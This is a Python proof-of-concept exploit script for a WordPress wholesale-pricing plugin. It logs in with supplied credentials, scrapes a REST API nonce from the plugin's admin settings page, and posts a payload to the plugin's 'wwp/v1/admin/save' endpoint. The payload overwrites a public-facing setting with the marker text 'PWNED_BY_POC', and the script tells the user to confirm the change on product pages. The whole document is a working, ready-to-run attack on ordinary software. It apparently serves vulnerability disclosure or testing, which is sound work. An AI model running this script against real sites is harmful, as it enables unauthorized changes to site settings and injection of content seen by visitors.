import re import sys import json import argparse import requests from urllib.parse import urljoin def wp_login(session, base_url, username, password): login_url = urljoin(base_url, "/wp-login.php") r = session.get(login_url, timeout=20) if r.status_code != 200: print("[-] Failed to load login page") sys.exit(1) data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": urljoin(base_url, "/wp-admin/"), "testcookie": "1" } r = session.post(login_url, data=data, timeout=20, allow_redirects=True) if "wp-admin" not in r.url: print("[-] Login failed") sys.exit(1) print("[+] Logged in successfully") cookies = session.cookies.get_dict() if not any("wordpress_logged_in" in k for k in cookies): print("[-] Missing wordpress_logged_in cookie") sys.exit(1) def extract_nonce_and_rest(html): match = re.search(r'wpApiSettings\s*=\s*(\{.*?\})', html) if match: try: data = json.loads(match.group(1)) if "nonce" in data and "root" in data: print("[+] Using wpApiSettings nonce") return data["nonce"], data["root"] except Exception: pass print("[!] wpApiSettings not found, fallback mode") nonce_candidates = re.findall(r'"nonce":"([a-f0-9]+)"', html) rest_match = re.search(r'"root":"([^"]+)"', html) if not nonce_candidates or not rest_match: print("[-] Failed to extract nonce or REST root") sys.exit(1) rest_root = json.loads(f'"{rest_match.group(1)}"') print(f"[!] Found {len(nonce_candidates)} nonce candidates") return nonce_candidates[0], rest_root def main(): parser = argparse.ArgumentParser() parser.add_argument("--base-url", required=True) parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--debug", action="store_true") args = parser.parse_args() base_url = args.base_url.strip().rstrip("/") if not base_url.startswith("http"): print("[-] Invalid base URL") sys.exit(1) session = requests.Session() print(f"[+] Base URL: {base_url}") print(f"[+] Username: {args.username}") wp_login(session, base_url, args.username, args.password) admin_url = urljoin( base_url, "/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices" ) r = session.get(admin_url, timeout=20) if r.status_code != 200: print("[-] Failed to access admin page") sys.exit(1) print(f"[+] Accessed admin page: {admin_url}") nonce, rest_root = extract_nonce_and_rest(r.text) print(f"[+] Nonce: {nonce}") print(f"[+] REST root: {rest_root}") payload = [ { "key": "wwp_see_wholesale_prices_replacement_text", "value": "PWNED_BY_POC" } ] target = urljoin(rest_root, "wwp/v1/admin/save") headers = { "X-WP-Nonce": nonce, "Content-Type": "application/json", "Referer": admin_url, "Origin": base_url, "User-Agent": "Mozilla/5.0 (PoC)" } print(f"[+] Sending payload to: {target}") r = session.post( target, json=payload, headers=headers, timeout=20 ) print(f"[+] HTTP status: {r.status_code}") print(r.text) if r.status_code == 200: print("[+] PoC SUCCESS (pwnd)") print("[*] Verify via incognito (not logged in):") print(" - Open product page") print(" - Look for: PWNED_BY_POC") else: print("[-] PoC failed") if args.debug: print("[DEBUG] Cookies:", session.cookies.get_dict()) if __name__ == "__main__": main()